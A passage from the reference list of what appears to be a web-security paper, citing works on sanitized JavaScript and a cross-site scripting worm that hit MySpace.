[Online; accessed 01-Aug-2013].

[21] Mark S Miller, Mike Samuel, Ben Laurie, Ihab Awad, and Mike Stay. Safe active content in sanitized javascript.  
[Online; accessed 04-Jun-2013].

[22] Nate Mook. Cross-Site Scripting Worm Hits MySpace.  
[Online; accessed 01-Aug-2013].


